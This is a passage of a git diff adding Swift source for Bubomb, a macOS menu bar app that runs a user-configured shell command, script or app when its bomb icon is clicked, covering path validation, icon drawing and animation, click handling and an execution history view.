"Destructive action was rejected by the user." + case .stepFailed(let index, let name, let reason): + return "Step \(index + 1) ('\(name)') failed: \(reason)" + case .applicationNotFound(let path): + return "Application not found at path: \(path)" + case .applicationLaunchFailed(let details): + return "Failed to open application: \(details)" + } + } +} diff --git a/Sources/BubombCore/Utilities/PathValidator.swift b/Sources/BubombCore/Utilities/PathValidator.swift new file mode 100644 index 0000000..af8c14c --- /dev/null +++ b/Sources/BubombCore/Utilities/PathValidator.swift @@ -0,0 +1,69 @@ +import Foundation + +/// Utilities for validating filesystem paths and URLs. +public enum PathValidator { + /// Checks whether an executable exists at the given path and is executable. + public static func validateExecutable(at path: String) -> Result<String, ExecutionError> { + let expanded = NSString(string: path).expandingTildeInPath + let fileManager = FileManager.default + + guard fileManager.fileExists(atPath: expanded) else { + return .failure(.executableNotFound(expanded)) + } + guard fileManager.isExecutableFile(atPath: expanded) else { + return .failure(.permissionDenied("File is not executable: \(expanded)")) + } + return .success(expanded) + } + + /// Checks whether a script file exists at the given path. + public static func validateScript(at path: String) -> Result<String, ExecutionError> { + let expanded = NSString(string: path).expandingTildeInPath + let fileManager = FileManager.default + + guard fileManager.fileExists(atPath: expanded) else { + return .failure(.scriptNotFound(expanded)) + } + guard fileManager.isReadableFile(atPath: expanded) else { + return .failure(.permissionDenied("Script file is not readable: \(expanded)")) + } + return .success(expanded) + } + + /// Checks whether a working directory exists and is a directory. + public static func validateWorkingDirectory(_ path: String?) -> Result<String?, ExecutionError> { + guard let path = path, !path.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty else { + return .success(nil) + } + let expanded = NSString(string: path).expandingTildeInPath + var isDir: ObjCBool = false + if FileManager.default.fileExists(atPath: expanded, isDirectory: &isDir), isDir.boolValue { + return .success(expanded) + } + return .failure(.workingDirectoryNotFound(expanded)) + } + + /// Validates an HTTP or HTTPS URL. + public static func validateURL(_ urlString: String) -> Result<URL, ExecutionError> { + let trimmed = urlString.trimmingCharacters(in: .whitespacesAndNewlines) + guard let url = URL(string: trimmed), + let scheme = url.scheme?.lowercased(), + (scheme == "http" || scheme == "https"), + url.host != nil, + !(url.host?.isEmpty ?? true) else { + return .failure(.invalidURL(urlString)) + } + return .success(url) + } + + /// Checks if an application bundle exists. + public static func validateApplication(at path: String) -> Result<String, ExecutionError> { + let expanded = NSString(string: path).expandingTildeInPath + let fileManager = FileManager.default + + guard fileManager.fileExists(atPath: expanded) else { + return .failure(.applicationNotFound(expanded)) + } + return .success(expanded) + } +} diff --git a/Sources/BubombUI/Icons/AnimatedBombView.swift b/Sources/BubombUI/Icons/AnimatedBombView.swift new file mode 100644 index 0000000..d6f0e0a --- /dev/null +++ b/Sources/BubombUI/Icons/AnimatedBombView.swift @@ -0,0 +1,157 @@ +import SwiftUI + +/// High-fidelity vector bomb illustration with interactive spark and fuse animations. +public struct AnimatedBombView: View { + public var size: CGFloat = 80 + public var isDetonating: Bool = false + public var onClick: (() -> Void)? = nil + + @State private var sparkPhase: Double = 0 + @State private var hoverState: Bool = false + + public init(size: CGFloat = 80, isDetonating: Bool = false, onClick: (() -> Void)? = nil) { + self.size = size + self.isDetonating = isDetonating + self.onClick = onClick + } + + public var body: some View { + Button(action: { + onClick?() + }) { + ZStack { + // Glow behind the bomb when detonating + if isDetonating { + Circle() + .fill( + RadialGradient( + colors: [BubombTheme.accentOrange.opacity(0.4), Color.clear], + center: .center, + startRadius: size * 0.2, + endRadius: size * 0.8 + ) + ) + .scaleEffect(1.2) + } + + Canvas { context, canvasSize in + let w = canvasSize.width + let h = canvasSize.height + let scale = min(w, h) / 100.0 + + // 1. Fuse (Curved rope) + var fuse = Path() + fuse.move(to: CGPoint(x: 50 * scale, y: 35 * scale)) + fuse.addCurve( + to: CGPoint(x: 75 * scale, y: 18 * scale), + control1: CGPoint(x: 50 * scale, y: 20 * scale), + control2: CGPoint(x: 65 * scale, y: 15 * scale) + ) + context.stroke( + fuse, + with: .color(Color(red: 0.65, green: 0.55, blue: 0.40)), + lineWidth: 4 * scale + ) + + // 2. Collar / Cap + let collarRect = CGRect(x: 42 * scale, y: 28 * scale, width: 16 * scale, height: 9 * scale) + let collarPath = Path(roundedRect: collarRect, cornerRadius: 2 * scale) + context.fill( + collarPath, + with: .linearGradient( + Gradient(colors: [Color(red: 0.25, green: 0.25, blue: 0.30), Color(red: 0.15, green: 0.15, blue: 0.18)]), + startPoint: CGPoint(x: 50 * scale, y: 28 * scale), + endPoint: CGPoint(x: 50 * scale, y: 37 * scale) + ) + ) + + // 3. Main Bomb Sphere + let sphereRect = CGRect(x: 15 * scale, y: 33 * scale, width: 70 * scale, height: 70 * scale) + let spherePath = Path(ellipseIn: sphereRect) + context.fill( + spherePath, + with: .radialGradient( + Gradient(colors: [ + Color(red: 0.28, green: 0.29, blue: 0.34), + Color(red: 0.14, green: 0.14, blue: 0.17), + Color(red: 0.08, green: 0.08, blue: 0.10) + ]), + center: CGPoint(x: 40 * scale, y: 55 * scale), + startRadius: 5 * scale, + endRadius: 38 * scale + ) + ) + + // 4. Specular gloss highlight (Upper-left shine) + var gloss = Path() + gloss.addArc( + center: CGPoint(x: 36 * scale, y: 52 * scale), + radius: 24 * scale, + startAngle: .degrees(190), + endAngle: .degrees(260), + clockwise: false + ) + context.stroke( + gloss, + with: .color(Color.white.opacity(0.35)), + style: StrokeStyle(lineWidth: 3.5 * scale, lineCap: .round) + ) + + // 5. Mischievous cute eyes (Restrained, subtle) + let leftEye = Path(ellipseIn: CGRect(x: 42 * scale, y: 64 * scale, width: 4 * scale, height: 5.5 * scale)) + let rightEye = Path(ellipseIn: CGRect(x: 54 * scale, y: 64 * scale, width: 4 * scale, height: 5.5 * scale)) + context.fill(leftEye, with: .color(Color.white.opacity(0.85))) + context.fill(rightEye, with: .color(Color.white.opacity(0.85))) + + // Eye pupils / shine + let leftShine = Path(ellipseIn: CGRect(x: 43.5 * scale, y: 65 * scale, width: 1.8 * scale, height: 1.8 * scale)) + let rightShine = Path(ellipseIn: CGRect(x: 55.5 * scale, y: 65 * scale, width: 1.8 * scale, height: 1.8 * scale)) + context.fill(leftShine, with: .color(Color.black)) + context.fill(rightShine, with: .color(Color.black)) + + // 6. Spark at fuse tip + let sparkCenter = CGPoint(x: 75 * scale, y: 18 * scale) + let sparkRadius = (isDetonating ? 12 : 6) * scale + + // Spark Outer Glow + context.fill( + Path(ellipseIn: CGRect( + x: sparkCenter.x - sparkRadius, + y: sparkCenter.y - sparkRadius, + width: sparkRadius * 2, + height: sparkRadius * 2 + )), + with: .radialGradient( + Gradient(colors: [ + BubombTheme.accentOrange, + BubombTheme.accentAmber.opacity(0.5), + Color.clear + ]), + center: sparkCenter, + startRadius: 1 * scale, + endRadius: sparkRadius + ) + ) + + // Spark Core + context.fill( + Path(ellipseIn: CGRect( + x: sparkCenter.x - 2.5 * scale, + y: sparkCenter.y - 2.5 * scale, + width: 5 * scale, + height: 5 * scale + )), + with: .color(Color(red: 1.0, green: 0.95, blue: 0.4)) + ) + } + .frame(width: size, height: size) + } + .scaleEffect(hoverState ? 1.05 : 1.0) + .animation(.spring(response: 0.25, dampingFraction: 0.7), value: hoverState) + } + .buttonStyle(.plain) + .onHover { isHovered in + self.hoverState = isHovered + } + } +} diff --git a/Sources/BubombUI/Icons/BombIconRenderer.swift b/Sources/BubombUI/Icons/BombIconRenderer.swift new file mode 100644 index 0000000..d68de1f --- /dev/null +++ b/Sources/BubombUI/Icons/BombIconRenderer.swift @@ -0,0 +1,206 @@ +import SwiftUI +#if canImport(AppKit) +import AppKit +#endif + +/// State for the menu bar icon rendering. +public enum MenuBarIconState: Equatable, Sendable { + case idle + case unconfigured + case burning(frame: Int) + case exploded(frame: Int) + case failed +} + +/// Renders native NSImages for menu bar status item and app icons. +public final class BombIconRenderer: @unchecked Sendable { + public static let shared = BombIconRenderer() + + #if canImport(AppKit) + /// Creates an NSImage sized for the macOS menu bar (18x18 pt @ 2x). + public static func menuBarImage(state: MenuBarIconState) -> NSImage { + let size = NSSize(width: 18, height: 18) + let image = NSImage(size: size, flipped: false) { bounds in + let ctx = NSGraphicsContext.current?.cgContext + + switch state { + case .idle: + drawIdleMenuBarBomb(in: bounds, context: ctx, template: true) + case .unconfigured: + drawIdleMenuBarBomb(in: bounds, context: ctx, template: true, unconfiguredBadge: true) + case .burning(let frame): + drawBurningMenuBarBomb(in: bounds, context: ctx, frame: frame) + case .exploded(let frame): + drawExplodingMenuBarBomb(in: bounds, context: ctx, frame: frame) + case .failed: + drawFailedMenuBarBomb(in: bounds, context: ctx) + } + return true + } + + if case .idle = state { + image.isTemplate = true + } else if case .unconfigured = state { + image.isTemplate = true + } else { + image.isTemplate = false + } + return image + } + + // MARK: - Menu Bar Drawing Routines + + private static func drawIdleMenuBarBomb(in bounds: NSRect, context: CGContext?, template: Bool, unconfiguredBadge: Bool = false) { + guard let ctx = context else { return } + ctx.saveGState() + + let baseColor = template ? NSColor.black : NSColor(calibratedRed: 0.15, green: 0.15, blue: 0.18, alpha: 1.0) + baseColor.setFill() + baseColor.setStroke() + + // 1. Bomb Body (Circle) + // Center at (9, 7.5), radius 5.5 + let bodyRect = NSRect(x: 3.5, y: 1.5, width: 11, height: 11) + let bodyPath = NSBezierPath(ovalIn: bodyRect) + bodyPath.fill() + + // 2. Collar / Cap at top of bomb + let collarRect = NSRect(x: 7.0, y: 11.5, width: 4.0, height: 2.0) + let collarPath = NSBezierPath(roundedRect: collarRect, xRadius: 0.5, yRadius: 0.5) + collarPath.fill() + + // 3. Fuse curve + let fusePath = NSBezierPath() + fusePath.move(to: NSPoint(x: 9.0, y: 13.0)) + fusePath.curve(to: NSPoint(x: 13.0, y: 15.0), + controlPoint1: NSPoint(x: 9.0, y: 15.0), + controlPoint2: NSPoint(x: 11.5, y: 16.0)) + fusePath.lineWidth = 1.2 + fusePath.lineCapStyle = .round + fusePath.stroke() + + // 4. Spark at fuse tip + if !template { + let sparkColor = NSColor(calibratedRed: 1.0, green: 0.5, blue: 0.0, alpha: 1.0) + sparkColor.setFill() + let sparkRect = NSRect(x: 12.5, y: 14.5, width: 2.5, height: 2.5) + NSBezierPath(ovalIn: sparkRect).fill() + } + + // 5. If unconfigured, draw small hollow dot or subtle badge + if unconfiguredBadge { + let dotRect = NSRect(x: 8.0, y: 6.0, width: 2.0, height: 2.0) + NSColor.white.setFill() + NSBezierPath(ovalIn: dotRect).fill() + } + + ctx.restoreGState() + } + + private static func drawBurningMenuBarBomb(in bounds: NSRect, context: CGContext?, frame: Int) { + guard let ctx = context else { return } + ctx.saveGState() + + // Dark charcoal bomb body + let bodyColor = NSColor(calibratedRed: 0.20, green: 0.20, blue: 0.23, alpha: 1.0) + bodyColor.setFill() + let bodyRect = NSRect(x: 3.5, y: 1.5, width: 11, height: 11) + NSBezierPath(ovalIn: bodyRect).fill() + + // Collar + let collarRect = NSRect(x: 7.0, y: 11.5, width: 4.0, height: 2.0) + NSBezierPath(roundedRect: collarRect, xRadius: 0.5, yRadius: 0.5).fill() + + // Fuse + let fuseColor = NSColor(calibratedRed: 0.7, green: 0.6, blue: 0.4, alpha: 1.0) + fuseColor.setStroke() + let fusePath = NSBezierPath() + fusePath.move(to: NSPoint(x: 9.0, y: 13.0)) + fusePath.curve(to: NSPoint(x: 12.5, y: 14.5), + controlPoint1: NSPoint(x: 9.0, y: 14.5), + controlPoint2: NSPoint(x: 11.0, y: 15.5)) + fusePath.lineWidth = 1.2 + fusePath.stroke() + + // Burning spark: oscillates in size and color based on frame + let isLarge = (frame % 2 == 0) + let sparkCenter = NSPoint(x: 13.0, y: 15.0) + let sparkRadius: CGFloat = isLarge ? 2.8 : 1.8 + + // Outer warm glow + let glowColor = NSColor(calibratedRed: 1.0, green: 0.35, blue: 0.0, alpha: 0.8) + glowColor.setFill() + let glowRect = NSRect(x: sparkCenter.x - sparkRadius, y: sparkCenter.y - sparkRadius, width: sparkRadius * 2, height: sparkRadius * 2) + NSBezierPath(ovalIn: glowRect).fill() + + // Inner bright spark + let coreColor = NSColor(calibratedRed: 1.0, green: 0.95, blue: 0.2, alpha: 1.0) + coreColor.setFill() + let coreRect = NSRect(x: sparkCenter.x - 1.0, y: sparkCenter.y - 1.0, width: 2.0, height: 2.0) + NSBezierPath(ovalIn: coreRect).fill() + + ctx.restoreGState() + } + + private static func drawExplodingMenuBarBomb(in bounds: NSRect, context: CGContext?, frame: Int) { + guard let ctx = context else { return } + ctx.saveGState() + + // Starburst explosion effect + let center = NSPoint(x: 9.0, y: 9.0) + let burstColor = NSColor(calibratedRed: 1.0, green: 0.45, blue: 0.05, alpha: 1.0) + burstColor.setFill() + burstColor.setStroke() + + // Draw radial burst rays + let rayCount = 8 + let outerR: CGFloat = min(8.5, 5.0 + CGFloat(frame) * 1.5) + let innerR: CGFloat = max(2.0, 3.5 - CGFloat(frame) * 0.5) + + let starPath = NSBezierPath() + for i in 0..<(rayCount * 2) { + let angle = (CGFloat(i) * CGFloat.pi / CGFloat(rayCount)) + (CGFloat(frame) * 0.2) + let radius = (i % 2 == 0) ? outerR : innerR + let pt = NSPoint(x: center.x + cos(angle) * radius, y: center.y + sin(angle) * radius) + if i == 0 { + starPath.move(to: pt) + } else { + starPath.line(to: pt) + } + } + starPath.close() + starPath.fill() + + // Bright yellow core + let coreColor = NSColor(calibratedRed: 1.0, green: 0.95, blue: 0.4, alpha: 1.0) + coreColor.setFill() + let coreRect = NSRect(x: center.x - 2.5, y: center.y - 2.5, width: 5.0, height: 5.0) + NSBezierPath(ovalIn: coreRect).fill() + + ctx.restoreGState() + } + + private static func drawFailedMenuBarBomb(in bounds: NSRect, context: CGContext?, template: Bool = false) { + guard let ctx = context else { return } + ctx.saveGState() + + // Bomb body in muted charcoal + let bodyColor = NSColor(calibratedRed: 0.35, green: 0.35, blue: 0.38, alpha: 1.0) + bodyColor.setFill() + let bodyRect = NSRect(x: 3.5, y: 1.5, width: 11, height: 11) + NSBezierPath(ovalIn: bodyRect).fill() + + // Collar + let collarRect = NSRect(x: 7.0, y: 11.5, width: 4.0, height: 2.0) + NSBezierPath(roundedRect: collarRect, xRadius: 0.5, yRadius: 0.5).fill() + + // Small red warning indicator badge on upper right + let redBadge = NSColor(calibratedRed: 0.95, green: 0.25, blue: 0.25, alpha: 1.0) + redBadge.setFill() + let badgeRect = NSRect(x: 12.0, y: 12.0, width: 3.5, height: 3.5) + NSBezierPath(ovalIn: badgeRect).fill() + + ctx.restoreGState() + } + #endif +} diff --git a/Sources/BubombUI/MenuBar/MenuBarController.swift b/Sources/BubombUI/MenuBar/MenuBarController.swift new file mode 100644 index 0000000..6f722b4 --- /dev/null +++ b/Sources/BubombUI/MenuBar/MenuBarController.swift @@ -0,0 +1,283 @@ +import SwiftUI +import BubombCore +#if canImport(AppKit) +import AppKit + +/// Manages the native macOS NSStatusItem, click routing (left=detonate, right=menu), +/// and dynamic menu bar icon animations. +@MainActor +public final class MenuBarController: NSObject { + public static let shared = MenuBarController() + + private var statusItem: NSStatusItem? + private let settingsStore: SettingsStore + private let executor: PayloadExecutor + private var animationTimer: Timer? + private var currentFrame: Int = 0 + + public init(settingsStore: SettingsStore = .shared, executor: PayloadExecutor? = nil) { + self.settingsStore = settingsStore + self.executor = executor ?? PayloadExecutor.shared + super.init() + } + + /// Configures the NSStatusItem in the macOS menu bar. + public func setup() { + guard statusItem == nil else { return } + + let item = NSStatusBar.system.statusItem(withLength: NSStatusItem.variableLength) + if let button = item.button { + button.target = self + button.action = #selector(statusBarButtonClicked(_:)) + button.sendAction(on: [.leftMouseUp, .rightMouseUp]) + button.imagePosition = .imageOnly + } + + self.statusItem = item + updateIcon() + + // Observe state changes on executor + NotificationCenter.default.addObserver( + self, + selector: #selector(handleStateChanged), + name: UserDefaults.didChangeNotification, + object: nil + ) + + // Observe executor currentState directly via a polling/timer or binding + startStateObservation() + } + + // MARK: - Click Handling + + @objc private func statusBarButtonClicked(_ sender: NSStatusBarButton) { + guard let event = NSApp.currentEvent else { + handlePrimaryClick() + return + } + + let isRightClick = event.type == .rightMouseUp + let isControlLeftClick = event.type == .leftMouseUp && event.modifierFlags.contains(.control) + + if isRightClick || isControlLeftClick { + showContextMenu() + } else { + handlePrimaryClick() + } + } + + /// Left-click interaction: Detonates configured action instantly, or opens settings if unconfigured. + public func handlePrimaryClick() { + guard let payload = settingsStore.settings.activePayload else { + // Unconfigured: Open settings immediately + WindowManager.shared.showSettingsWindow(settingsStore: settingsStore, executor: executor) + return + } + + // If already running, prevent duplicate or show notice + if executor.currentState.isRunning { + return + } + + // Check if confirmation is required + let alwaysConfirm = settingsStore.settings.confirmDestructiveActions + let (requiresConfirm, _) = SafetyPolicy.requiresConfirmation( + command: commandStringForPayload(payload), + userSettingAlwaysConfirmDestructive: alwaysConfirm || payload.requiresConfirmation + ) + + if requiresConfirm { + // Show alert or open settings to confirm + WindowManager.shared.showSettingsWindow(settingsStore: settingsStore, executor: executor) + return + } + + // Detonate directly! + Task { + do { + _ = try await executor.detonate(payload: payload, ignoreSafetyConfirmation: false) + } catch { + print("Detonation finished with notice: \(error.localizedDescription)") + } + } + } + + /// Right-click menu with configuration and power options. + public func showContextMenu() { + guard let item = statusItem, let button = item.button else { return } + + let menu = NSMenu() + + // App title & Armed status + let titleItem = NSMenuItem(title: "Bubomb", action: nil, keyEquivalent: "") + titleItem.attributedTitle = NSAttributedString( + string: "π£ Bubomb β Configure the boom", + attributes: [.font: NSFont.boldSystemFont(ofSize: 13)] + ) + menu.addItem(titleItem) + + if let active = settingsStore.settings.activePayload { + let armedItem = NSMenuItem(title: "Armed: \(active.name)", action: nil, keyEquivalent: "") + armedItem.image = NSImage(systemSymbolName: "checkmark.circle.fill", accessibilityDescription: nil) + menu.addItem(armedItem) + } else { + let unarmedItem = NSMenuItem(title: "No Payload Armed", action: nil, keyEquivalent: "") + unarmedItem.image = NSImage(systemSymbolName: "exclamationmark.circle", accessibilityDescription: nil) + menu.addItem(unarmedItem) + } + + menu.addItem(NSMenuItem.separator()) + + // Detonate action + let detonateItem = NSMenuItem(title: "Detonate Payload", action: #selector(menuDetonateClicked), keyEquivalent: "\r") + detonateItem.target = self + detonateItem.isEnabled = (settingsStore.settings.activePayload != nil) && !executor.currentState.isRunning + detonateItem.image = NSImage(systemSymbolName: "flame.fill", accessibilityDescription: nil) + menu.addItem(detonateItem) + + if executor.currentState.isRunning { + let cancelItem = NSMenuItem(title: "Cancel Detonation", action: #selector(menuCancelClicked), keyEquivalent: ".") + cancelItem.target = self + cancelItem.image = NSImage(systemSymbolName: "xmark.circle", accessibilityDescription: nil) + menu.addItem(cancelItem) + } + + menu.addItem(NSMenuItem.separator()) + + // Settings + let settingsMenuItem = NSMenuItem(title: "Settings...", action: #selector(menuSettingsClicked), keyEquivalent: ",") + settingsMenuItem.target = self + settingsMenuItem.image = NSImage(systemSymbolName: "gearshape", accessibilityDescription: nil) + menu.addItem(settingsMenuItem) + + menu.addItem(NSMenuItem.separator()) + + // Quit + let quitItem = NSMenuItem(title: "Quit Bubomb", action: #selector(menuQuitClicked), keyEquivalent: "q") + quitItem.target = self + quitItem.image = NSImage(systemSymbolName: "power", accessibilityDescription: nil) + menu.addItem(quitItem) + + item.menu = menu + button.performClick(nil) + item.menu = nil + } + + // MARK: - Menu Actions + + @objc private func menuDetonateClicked() { + handlePrimaryClick() + } + + @objc private func menuCancelClicked() { + executor.cancel() + } + + @objc private func menuSettingsClicked() { + WindowManager.shared.showSettingsWindow(settingsStore: settingsStore, executor: executor) + } + + @objc private func menuQuitClicked() { + NSApplication.shared.terminate(nil) + } + + @objc private func handleStateChanged() { + updateIcon() + } + + // MARK: - Animation & State Updates + + private func startStateObservation() { + // Lightweight polling timer (60ms) to sync menu bar icon with executor state + Timer.scheduledTimer(withTimeInterval: 0.08, repeats: true) { [weak self] _ in + Task { @MainActor [weak self] in + self?.syncStateWithExecutor() + } + } + } + + private var previousState: DetonationState = .idle + + private func syncStateWithExecutor() { + let state = executor.currentState + if state != previousState { + previousState = state + onStateTransition(to: state) + } + } + + private func onStateTransition(to state: DetonationState) { + animationTimer?.invalidate() + animationTimer = nil + currentFrame = 0 + + let reduceMotion = NSWorkspace.shared.accessibilityDisplayShouldReduceMotion || + (settingsStore.settings.animationPreference == .none) + + switch state { + case .idle: + updateIcon() + + case .burning: + if reduceMotion { + statusItem?.button?.image = BombIconRenderer.menuBarImage(state: .burning(frame: 0)) + } else { + animationTimer = Timer.scheduledTimer(withTimeInterval: 0.12, repeats: true) { [weak self] _ in + Task { @MainActor [weak self] in + guard let self = self else { return } + self.currentFrame = (self.currentFrame + 1) % 4 + self.statusItem?.button?.image = BombIconRenderer.menuBarImage(state: .burning(frame: self.currentFrame)) + } + } + } + + case .exploded: + if settingsStore.settings.playCompletionFeedback { + NSSound.beep() + } + if reduceMotion { + statusItem?.button?.image = BombIconRenderer.menuBarImage(state: .exploded(frame: 2)) + } else { + // 3 quick frames for explosion burst + var burstFrame = 0 + animationTimer = Timer.scheduledTimer(withTimeInterval: 0.10, repeats: true) { [weak self] timer in + Task { @MainActor [weak self] in + guard let self = self else { return } + burstFrame += 1 + if burstFrame < 4 { + self.statusItem?.button?.image = BombIconRenderer.menuBarImage(state: .exploded(frame: burstFrame)) + } else { + timer.invalidate() + self.updateIcon() + } + } + } + } + + case .failed: + statusItem?.button?.image = BombIconRenderer.menuBarImage(state: .failed) + } + } + + private func updateIcon() { + if settingsStore.settings.activePayload == nil { + statusItem?.button?.image = BombIconRenderer.menuBarImage(state: .unconfigured) + statusItem?.button?.toolTip = "Bubomb (Unconfigured) β Click to setup payload" + } else { + statusItem?.button?.image = BombIconRenderer.menuBarImage(state: .idle) + statusItem?.button?.toolTip = "Bubomb: Detonate '\(settingsStore.settings.activePayload?.name ?? "")'" + } + } + + private func commandStringForPayload(_ payload: Payload) -> String { + switch payload.type { + case .shellCommand(let config): + return config.command + case .runScript(let config): + return config.scriptPath + default: + return "" + } + } +} +#endif diff --git a/Sources/BubombUI/Settings/ExecutionStatusView.swift b/Sources/BubombUI/Settings/ExecutionStatusView.swift new file mode 100644 index 0000000..f55df66 --- /dev/null +++ b/Sources/BubombUI/Settings/ExecutionStatusView.swift @@ -0,0 +1,308 @@ +import SwiftUI +import BubombCore +#if canImport(AppKit) +import AppKit +#endif + +/// Displays execution results, live console output, status badges, and history. +@MainActor +public struct ExecutionStatusView: View { + @ObservedObject var settingsStore: SettingsStore + @ObservedObject var executor: PayloadExecutor + + @State private var selectedRecordId: UUID? = nil + @State private var copiedNotice: Bool = false + + public init(settingsStore: SettingsStore = .shared, executor: PayloadExecutor? = nil) { + self.settingsStore = settingsStore + self.executor = executor ?? PayloadExecutor.shared + } + + private var activeRecord: ExecutionRecord? { + if let id = selectedRecordId { + return settingsStore.settings.recentExecutions.first(where: { $0.id == id }) + } + return settingsStore.settings.recentExecutions.first + } + + public var body: some View { + ScrollView { + VStack(alignment: .leading, spacing: 18) { + liveStatusSection + currentRecordDetailsSection + outputConsoleSection + historySection + } + .padding(18) + } + .background(BubombTheme.windowBackground) + } + + // MARK: - Live Status Section + + private var liveStatusSection: some View { + HStack(spacing: 12) { + switch executor.currentState { + case .idle: + Image(systemName: "checkmark.shield.fill") + .font(.title2) + .foregroundColor(BubombTheme.accentOrange) + VStack(alignment: .leading, spacing: 2) { + Text("Bubomb Armed & Ready") + .font(.headline) + .foregroundColor(BubombTheme.textPrimary) + Text("Click the bomb in your menu bar to detonate.") + .font(.caption) + .foregroundColor(BubombTheme.textSecondary) + } + + case .burning(let name, let info): + ProgressView() + .progressViewStyle(.circular) + .scaleEffect(0.8) + VStack(alignment: .leading, spacing: 2) { + Text("Detonating: \(name)") + .font(.headline) + .foregroundColor(BubombTheme.accentOrange) + Text(info ?? "Executing action...") + .font(.caption) + .foregroundColor(BubombTheme.textSecondary) + } + + case .exploded(let record): + Image(systemName: "flame.fill") + .font(.title2) + .foregroundColor(BubombTheme.successGreen) + VStack(alignment: .leading, spacing: 2) { + Text("Detonation Succeeded!") + .font(.headline) + .foregroundColor(BubombTheme.successGreen) + Text("Finished in \(record.formattedDuration)") + .font(.caption) + .foregroundColor(BubombTheme.textSecondary) + } + + case .failed(let record): + Image(systemName: "xmark.octagon.fill") + .font(.title2) + .foregroundColor(BubombTheme.failureRed) + VStack(alignment: .leading, spacing: 2) { + Text("Detonation Failed") + .font(.headline) + .foregroundColor(BubombTheme.failureRed) + Text(record.errorMessage ?? "An error occurred during execution.") + .font(.caption) + .foregroundColor(BubombTheme.failureRed) + } + } + + Spacer() + + if executor.currentState.isRunning { + Button("Cancel") { + executor.cancel() + } + .buttonStyle(.bordered) + .tint(BubombTheme.failureRed) + } + } + .bubombCard() + } + + // MARK: - Current Record Details + + @ViewBuilder + private var currentRecordDetailsSection: some View { + if let record = activeRecord { + VStack(alignment: .leading, spacing: 10) { + HStack { + Text("Execution Details: \(record.payloadName)") + .font(.subheadline.bold()) + .foregroundColor(BubombTheme.textPrimary) + Spacer() + statusBadge(for: record.status) + } + + Divider().background(BubombTheme.borderSubtle) + + Grid(alignment: .leading, horizontalSpacing: 16, verticalSpacing: 6) { + GridRow { + Text("Payload Type:").font(.caption).foregroundColor(BubombTheme.textSecondary) + Text(record.payloadTypeDescription).font(.caption.bold()).foregroundColor(BubombTheme.textPrimary) + } + GridRow { + Text("Timestamp:").font(.caption).foregroundColor(BubombTheme.textSecondary) + Text(record.startedAt.formatted(date: .abbreviated, time: .standard)).font(.caption).foregroundColor(BubombTheme.textPrimary) + } + GridRow { + Text("Duration:").font(.caption).foregroundColor(BubombTheme.textSecondary) + Text(record.formattedDuration).font(.caption.monospaced()).foregroundColor(BubombTheme.accentOrange) + } + if let code = record.exitCode { + GridRow { + Text("Exit Status:").font(.caption).foregroundColor(BubombTheme.textSecondary) + Text("\(code)").font(.caption.monospaced().bold()).foregroundColor(code == 0 ? BubombTheme.successGreen : BubombTheme.failureRed) + } + } + if let err = record.errorMessage { + GridRow { + Text("Error Details:").font(.caption).foregroundColor(BubombTheme.failureRed) + Text(err).font(.caption).foregroundColor(BubombTheme.failureRed) + } + } + } + } + .bubombCard() + } + } + + // MARK: - Output Console + + private var outputConsoleSection: some View { + VStack(alignment: .leading, spacing: 8) { + HStack { + Text("Detonation Log Output") + .font(.caption.bold()) + .foregroundColor(BubombTheme.textSecondary) + + Spacer() + + if copiedNotice { + Text("Copied!").font(.caption).foregroundColor(BubombTheme.successGreen) + } + + Button(action: { + copyOutputToClipboard() + }) { + HStack(spacing: 4) { + Image(systemName: "doc.on.doc").font(.caption) + Text("Copy").font(.caption) + } + } + .buttonStyle(.plain) + .foregroundColor(BubombTheme.accentAmber) + } + + let log = activeRecord?.combinedOutput ?? "No logs recorded yet. Detonate a payload to see captured stdout/stderr here." + + ScrollView(.vertical) { + Text(log) + .font(.system(.caption, design: .monospaced)) + .foregroundColor(Color.green.opacity(0.9)) + .frame(maxWidth: .infinity, alignment: .leading) + .padding(10) + } + .frame(height: 140) + .background(Color.black.opacity(0.6)) + .cornerRadius(6) + .overlay(RoundedRectangle(cornerRadius: 6).stroke(BubombTheme.borderSubtle, lineWidth: 1)) + } + .bubombCard() + } + + // MARK: - History Section + + private var historySection: some View { + VStack(alignment: .leading, spacing: 10) { + HStack { + Text("Recent Detonations (\(settingsStore.settings.recentExecutions.count))") + .font(.subheadline.bold()) + .foregroundColor(BubombTheme.textPrimary) + + Spacer() + + if !settingsStore.settings.recentExecutions.isEmpty { + Button("Clear History") { + settingsStore.clearHistory() + selectedRecordId = nil + } + .font(.caption) + .buttonStyle(.plain) + .foregroundColor(BubombTheme.failureRed) + } + } + + if settingsStore.settings.recentExecutions.isEmpty { + Text("No detonations recorded yet.") + .font(.caption) + .foregroundColor(BubombTheme.textMuted) + .padding(.vertical, 8) + } else { + VStack(spacing: 4) { + ForEach(settingsStore.settings.recentExecutions) { item in + Button(action: { + selectedRecordId = item.id + }) { + HStack { + Circle() + .fill(statusColor(for: item.status)) + .frame(width: 8, height: 8) + + Text(item.payloadName) + .font(.caption.bold()) + .foregroundColor(BubombTheme.textPrimary) + + Text("(\(item.payloadTypeDescription))") + .font(.caption2) + .foregroundColor(BubombTheme.textMuted) + + Spacer() + + Text(item.formattedDuration) + .font(.caption2.monospaced()) + .foregroundColor(BubombTheme.textSecondary) + + Text(item.startedAt.formatted(date: .omitted, time: .shortened)) + .font(.caption2) + .foregroundColor(BubombTheme.textSecondary) + } + .padding(8) + .background( + (selectedRecordId == item.id || (selectedRecordId == nil && settingsStore.settings.recentExecutions.first?.id == item.id)) + ? BubombTheme.accentOrange.opacity(0.15) + : Color.black.opacity(0.2) + ) + .cornerRadius(6) + } + .buttonStyle(.plain) + } + } + } + } + .bubombCard() + } + + // MARK: - Helpers + + private func statusBadge(for status: ExecutionStatus) -> some View { + Text(status.rawValue) + .font(.caption2.bold()) + .padding(.horizontal, 8) + .padding(.vertical, 3) + .background(statusColor(for: status).opacity(0.2)) + .foregroundColor(statusColor(for: status)) + .cornerRadius(4) + } + + private func statusColor(for status: ExecutionStatus) -> Color { + switch status { + case .succeeded: return BubombTheme.successGreen + case .failed: return BubombTheme.failureRed + case .cancelled: return BubombTheme.accentAmber + case .timedOut: return BubombTheme.accentPurple + } + } + + private func copyOutputToClipboard() { + #if canImport(AppKit) + let pasteboard = NSPasteboard.general + pasteboard.clearContents() + let content = activeRecord?.combinedOutput ?? "" + pasteboard.setString(content, forType: .string) + copiedNotice = true + DispatchQueue.main.asyncAfter(deadline: .now() + 1.5) { + copiedNotice = false + } + #endif + } +} diff --git a/Sources/BubombUI/Settings/GeneralSettingsView.swift b/Sources/BubombUI/Settings/GeneralSettingsView.swift new file mode 100644 index 0000000..4f5948d --- /dev/null +++ 